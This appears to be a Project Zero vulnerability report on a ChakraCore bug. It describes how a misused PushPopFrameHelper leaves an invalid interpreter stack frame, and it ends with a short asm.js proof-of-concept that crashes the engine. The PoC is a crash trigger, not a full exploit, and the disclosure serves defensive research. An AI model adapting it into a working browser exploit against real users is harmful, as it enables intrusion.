1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 |
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1277 PushPopFrameHelper is a class that pushes the current stack frame object in its constructor and pops it in the destructor. So it should be used like "PushPopFrameHelper holder(...)", but InterpreterStackFrame::ProcessLinkFailedAsmJsModule uses it like a function. Var InterpreterStackFrame::ProcessLinkFailedAsmJsModule() { ... PushPopFrameHelper(newInstance, _ReturnAddress(), _AddressOfReturnAddress()); ... } It pushes "newInstance" and immediately pop it. The PoC will crash in the following code. void BailOutRecord::ScheduleLoopBodyCodeGen(Js::ScriptFunction * function, Js::ScriptFunction * innerMostInlinee, BailOutRecord const * bailOutRecord, IR::BailOutKind bailOutKind) { ... Js::InterpreterStackFrame * interpreterFrame = executeFunction->GetScriptContext()->GetThreadContext()->GetLeafInterpreterFrame(); <<-- Invalid stack frame object loopHeader = executeFunction->GetLoopHeader(interpreterFrame->GetCurrentLoopNum()); <<-- interpreterFrame->GetCurrentLoopNum() == -1 ... } PoC: --> function asmModule() { 'use asm'; let a = [1, 2, 3, 4]; for (let i = 0; i < 0x100000; i++) {// JIT a[0] = 1; if (i === 0x30000) { a[0] = {};// the array type changed, bailout!! } } function f(v) { v = v | 0; return v | 0; } return f; } asmModule(1); |